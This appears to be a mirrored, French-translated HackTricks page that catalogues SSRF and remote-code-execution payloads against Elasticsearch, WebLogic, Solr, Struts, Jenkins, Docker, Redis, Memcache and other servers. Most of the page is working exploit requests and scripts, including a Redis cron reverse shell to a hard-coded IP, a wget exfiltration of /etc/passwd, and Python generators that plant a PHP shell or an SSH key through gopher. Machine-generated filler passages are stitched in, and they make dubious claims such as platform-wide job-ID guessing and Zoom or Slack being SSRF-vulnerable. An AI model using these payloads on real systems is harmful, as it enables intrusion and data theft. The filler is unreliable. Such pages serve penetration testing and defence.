Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-18 15:08:29 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

39 KiB
Raw Blame History

Plateformes vulnérables à SSRF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cette section a été copiée depuis https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Port communément utilisé : 9200

Lorsque Elasticsearch est déployé en interne, il ne nécessite généralement pas d'authentification.

Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code d'état, vérifiez si les points d'extrémité suivants renvoient un code 200 :

/_cluster/health
/_cat/indices
/_cat/health

Si vous avez une SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :

Note : l'API _shutdown a été supprimée à partir de la version 2.x d'Elasticsearch et ultérieure. Cela ne fonctionne que dans Elasticsearch 1.6 et versions antérieures :

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Ports couramment liés : 80, 443 (SSL), 7001, 8888

SSRF Canary : UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Cela fonctionne également via GET :

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Cet endpoint est également vulnérable à l'injection CRLF :

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Résultera en la requête suivante :

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Extrait de ici.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Plateformes vulnérables à SSRF

Windows

Les serveurs Windows peuvent également être vulnérables aux attaques SSRF. Voici quelques-unes des plateformes couramment utilisées qui peuvent présenter des vulnérabilités SSRF sur des systèmes Windows :

  • IIS (Internet Information Services) : Le serveur web IIS peut être vulnérable aux attaques SSRF si une application web mal configurée permet à un attaquant de spécifier des URL arbitraires pour les requêtes sortantes.

  • .NET Framework : Les applications basées sur le framework .NET peuvent être vulnérables aux attaques SSRF si elles utilisent des fonctionnalités telles que WebRequest ou HttpClient pour effectuer des requêtes sortantes sans validation appropriée des URL.

  • Windows PowerShell : Les scripts PowerShell peuvent être vulnérables aux attaques SSRF si des entrées utilisateur sont utilisées pour construire des URL pour les requêtes sortantes sans validation adéquate.

Il est important de noter que la vulnérabilité SSRF peut exister sur d'autres plateformes Windows en fonction de la configuration et des applications utilisées. Il est donc essentiel de mener des tests de sécurité approfondis pour identifier et corriger ces vulnérabilités.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Ports couramment utilisés : 8500, 8501 (SSL)

Le compte-rendu peut être trouvé ici.

Shellshock

Ports couramment utilisés : 80, 443 (SSL), 8080

Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant la charge utile. Les chemins CGI suivants valent la peine d'être essayés :

Liste courte des chemins CGI à tester :

Gist contenant les chemins.

SSRF Canary : Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Ports couramment utilisés : 80, 8080, 8888, 8082

Consultez la référence de l'API pour Apache Druid ici.

Si vous pouvez afficher le code d'état, vérifiez les chemins suivants pour voir s'ils renvoient un code d'état 200 :

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Plateformes vulnérables à la SSRF (Server-Side Request Forgery)

Certaines plateformes peuvent être vulnérables à la SSRF (Server-Side Request Forgery) lorsqu'elles permettent aux utilisateurs de spécifier des identifiants de tâches ou le nom de la source de données. Cela peut conduire à des attaques de devinettes.

AWS

  • AWS Batch : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • AWS Data Pipeline : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • AWS Glue : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • AWS Step Functions : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.

Google Cloud Platform (GCP)

  • Google Cloud Dataflow : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Google Cloud Dataproc : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Google Cloud Composer : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.

Microsoft Azure

  • Azure Data Factory : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Azure Databricks : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Azure Logic Apps : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.

Autres plateformes

  • Apache Airflow : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Jenkins : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Kubernetes : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • OpenStack : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
  • Rundeck : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Arrêt des superviseurs sur les Apache Druid Overlords :

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Port communément utilisé : 8983

SSRF Canary : Paramètre Shards

Pour ajouter à ce que shubham dit - la recherche de solr est relativement facile. Il existe un paramètre shards= qui vous permet de rebondir SSRF vers SSRF pour vérifier si vous atteignez une instance solr à l'aveugle.

— Хавиж Наффи 🥕 (@nnwakelam) 13 janvier 2021

Extrait ici.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Recherche sur RCE via dataImportHandler

PeopleSoft

Ports couramment liés : 80,443 (SSL)

Extrait de cette recherche ici.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

SSRF Canary: XXE #2

Platforms Vulnerables à SSRF

Les plateformes suivantes sont connues pour être vulnérables aux attaques SSRF :

  1. AWS EC2 Metadata Service - Le service de métadonnées d'EC2 d'AWS permet aux instances EC2 d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  2. Google Cloud Metadata Service - Le service de métadonnées de Google Cloud permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  3. Azure Instance Metadata Service - Le service de métadonnées des instances Azure permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  4. DigitalOcean Metadata Service - Le service de métadonnées de DigitalOcean permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  5. OpenStack Metadata Service - Le service de métadonnées d'OpenStack permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  6. Heroku Metadata Service - Le service de métadonnées de Heroku permet aux applications de récupérer des informations sur l'environnement d'exécution. Une SSRF peut être utilisée pour accéder à ces informations sensibles.

  7. Kubernetes API Server - Le serveur API Kubernetes permet aux utilisateurs d'interagir avec les clusters Kubernetes. Une SSRF peut être utilisée pour accéder à des ressources sensibles dans le cluster.

  8. Docker Socket - Le socket Docker permet aux utilisateurs d'interagir avec le démon Docker. Une SSRF peut être utilisée pour exécuter des commandes sur le démon Docker.

  9. Jenkins - Jenkins est un serveur d'intégration continue largement utilisé. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Jenkins.

  10. GitLab - GitLab est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur GitLab.

  11. Bitbucket - Bitbucket est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Bitbucket.

  12. JIRA - JIRA est un outil de suivi des problèmes et de gestion de projets. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur JIRA.

  13. Confluence - Confluence est un outil de collaboration et de gestion des connaissances. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Confluence.

  14. WordPress - WordPress est une plateforme de gestion de contenu populaire. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur WordPress.

  15. Magento - Magento est une plateforme de commerce électronique. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Magento.

  16. Shopify - Shopify est une plateforme de commerce électronique. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Shopify.

  17. Salesforce - Salesforce est une plateforme de gestion de la relation client (CRM). Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Salesforce.

  18. Slack - Slack est une plateforme de communication d'équipe. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Slack.

  19. Microsoft Teams - Microsoft Teams est une plateforme de communication d'équipe. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Microsoft Teams.

  20. Zoom - Zoom est une plateforme de visioconférence. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Zoom.

Note : Cette liste n'est pas exhaustive et il existe d'autres plateformes vulnérables à SSRF. Il est important de toujours effectuer une évaluation de sécurité appropriée pour identifier les vulnérabilités SSRF spécifiques à votre environnement.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Extrait de ici.

SSRF Canary : Struts2-016 :

Ajoutez ceci à la fin de chaque point de terminaison/URL interne que vous connaissez :

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Extrait de ici.

SSRF Canary : Déploiement de WAR à partir d'une URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : Sharelinks (versions de Confluence publiées avant novembre 2016)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de sécurité Atlassian JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

Autres produits Atlassian

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary : iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Ticket de sécurité Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Port communément utilisé : 4242

OpenTSDB Exécution de code à distance

SSRF Canary : curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 Exécution de code à distance

SSRF Canary: curl via RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Ports couramment utilisés : 80, 443 (SSL), 8080, 8888

Excellent article ici.

SSRF Canary : CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Suivez les instructions ici pour obtenir une RCE via GET: Hacking Jenkins Partie 2 - Abus de la méta-programmation pour une RCE non authentifiée!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

RCE via Groovy

Remote Code Execution (RCE) via Groovy is a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to execute arbitrary code on the server by exploiting the Groovy scripting engine.

Vulnerable Platforms

The following platforms are known to be vulnerable to RCE via Groovy:

  • Jenkins: Jenkins is an open-source automation server that is widely used for continuous integration and delivery. It allows users to define build pipelines using Groovy scripts, which can be exploited to achieve RCE.

  • Apache Struts: Apache Struts is a popular Java web application framework. In certain configurations, it allows users to execute Groovy scripts, which can be leveraged to achieve RCE.

  • Spring Boot: Spring Boot is a framework for building Java applications. It provides support for Groovy scripting, which can be abused to achieve RCE.

Exploitation

To exploit RCE via Groovy, an attacker needs to identify a vulnerable endpoint that allows the execution of Groovy scripts. Once a vulnerable endpoint is identified, the attacker can craft a malicious Groovy script that executes arbitrary code on the server.

The following example demonstrates a simple payload that can be used to achieve RCE via Groovy:

def command = "id"
def process = command.execute()
def output = process.text

In this example, the id command is executed on the server, and the output is captured. The attacker can modify the payload to execute any desired command or code.

Mitigation

To mitigate the risk of RCE via Groovy, it is recommended to follow these best practices:

  • Input Validation: Implement strict input validation to prevent untrusted user input from being executed as Groovy code.

  • Sandboxing: Use sandboxing mechanisms to restrict the capabilities of the Groovy scripting engine and prevent the execution of arbitrary code.

  • Least Privilege: Run applications with the least privileges necessary to perform their intended functions, reducing the potential impact of a successful RCE attack.

  • Regular Updates: Keep all software and frameworks up to date to ensure that any known vulnerabilities are patched.

By following these best practices, organizations can reduce the risk of RCE via Groovy and protect their applications from exploitation.

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Tableau de bord Hystrix

Ports couramment liés : 80, 443 (SSL), 8080

Spring Cloud Netflix, versions 2.2.x antérieures à 2.2.4, versions 2.1.x antérieures à 2.1.6.

SSRF Canary : CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Ports couramment utilisés : 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary : CVE-2019-6715

Cela doit être une requête PUT :

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

L'avis concernant cette vulnérabilité a été publié ici: Vulnérabilité SSRF de W3 Total Cache

Ce code PHP générera une charge utile pour votre hôte SSRF Canary (remplacez url par votre hôte canary):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Ports couramment liés : 2375, 2376 (SSL)

Si vous avez une SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API de Docker :

/containers/json
/secrets
/services

RCE via l'exécution d'une image Docker arbitraire

SSRF vulnerabilities can sometimes lead to Remote Code Execution (RCE) if the target server allows the execution of arbitrary Docker images. In this scenario, an attacker can exploit the SSRF vulnerability to make the server pull and run a malicious Docker image, which can result in the execution of arbitrary code on the target system.

To achieve RCE through running an arbitrary Docker image, the following conditions must be met:

  1. The target server must have Docker installed and running.
  2. The SSRF vulnerability must allow the attacker to specify the URL of the Docker image to be pulled and run.
  3. The server must have permissions to pull and run Docker images from external sources.

To exploit this vulnerability, the attacker can provide the URL of a malicious Docker image as the SSRF payload. When the server processes the SSRF request, it will attempt to pull the specified Docker image and run it. If successful, the attacker's code within the Docker image will be executed on the target system, leading to RCE.

It is important to note that this technique requires the target server to have Docker installed and configured in a way that allows the execution of arbitrary images. Additionally, the attacker needs to find a suitable Docker image that contains the desired payload for RCE.

To mitigate this vulnerability, it is recommended to:

  • Regularly update and patch Docker installations to prevent known vulnerabilities.
  • Restrict the ability to pull and run Docker images from external sources.
  • Implement proper input validation and sanitization to prevent SSRF vulnerabilities in the first place.
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Remplacez alpine par une image arbitraire que vous souhaitez exécuter dans le conteneur Docker.

Gitlab Prometheus Redis Exporter

Ports couramment liés : 9121

Cette vulnérabilité affecte les instances Gitlab antérieures à la version 13.1.1. Selon la documentation de Gitlab, Prometheus et ses exportateurs sont activés par défaut à partir de GitLab 9.0.

Ces exportateurs fournissent une excellente méthode pour qu'un attaquant pivote et attaque d'autres services en utilisant CVE-2020-13379. L'un des exportateurs qui est facilement exploité est l'exportateur Redis.

Le point de terminaison suivant permettra à un attaquant de récupérer toutes les clés du serveur Redis fournies via le paramètre cible :

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possible via Gopher

Redis

Port communément utilisé : 6379

Lecture recommandée :

RCE via Cron - Surfaces d'attaque Gopher

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Plateformes vulnérables à SSRF

Les vulnérabilités de Server-Side Request Forgery (SSRF) peuvent être exploitées sur plusieurs plateformes pour effectuer des requêtes non autorisées depuis le serveur cible. Cela peut permettre à un attaquant de contourner les restrictions de sécurité et d'accéder à des ressources sensibles.

Plateformes vulnérables courantes

Voici quelques-unes des plateformes couramment vulnérables à SSRF :

  1. Gopher : Gopher est un protocole de transfert de données qui permet de récupérer des ressources à partir d'un serveur distant. Les applications qui prennent en charge le protocole Gopher peuvent être vulnérables à SSRF si elles ne filtrent pas correctement les URL fournies par l'utilisateur.

    Exemple de syntaxe d'URL Gopher vulnérable :

    gopher://attacker.com:80/_URL_

    L'URL _URL_ peut être utilisée pour effectuer des requêtes vers des ressources internes du réseau, telles que des fichiers locaux ou des services non autorisés.

  2. Autres plateformes : Outre Gopher, il existe d'autres plateformes qui peuvent être vulnérables à SSRF, notamment les services de stockage en nuage, les serveurs de messagerie, les serveurs DNS, les serveurs de base de données, les serveurs de fichiers, etc. Les vulnérabilités SSRF sur ces plateformes peuvent permettre à un attaquant d'accéder à des données sensibles ou de compromettre le système.

Conclusion

Il est essentiel de comprendre les plateformes vulnérables à SSRF afin de pouvoir les identifier et les sécuriser correctement. En tant que testeur de pénétration, il est important de vérifier si une application ou une plateforme est vulnérable à SSRF et de signaler ces vulnérabilités aux propriétaires du système afin qu'ils puissent prendre les mesures appropriées pour les corriger.

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Shell Upload (PHP) - Résumé de l'obtention d'un shell via Redis

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE via authorized_keys - Résumé de la prise de contrôle de Redis

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE sur GitLab via le protocole Git

Excellent article de Liveoverflow ici.

Bien que cela nécessite un accès authentifié à GitLab pour être exploité, je vais inclure la charge utile ici car le protocole git peut fonctionner sur la cible que vous piratez. Cette charge utile est fournie à titre de référence.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Port couramment utilisé : 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)

Efficace uniquement contre Tomcat 6 :

gopher-tomcat-deployer

Rédaction d'un CTF utilisant cette technique :

De XXE à RCE : Pwn2Win CTF 2018 Writeup

FastCGI

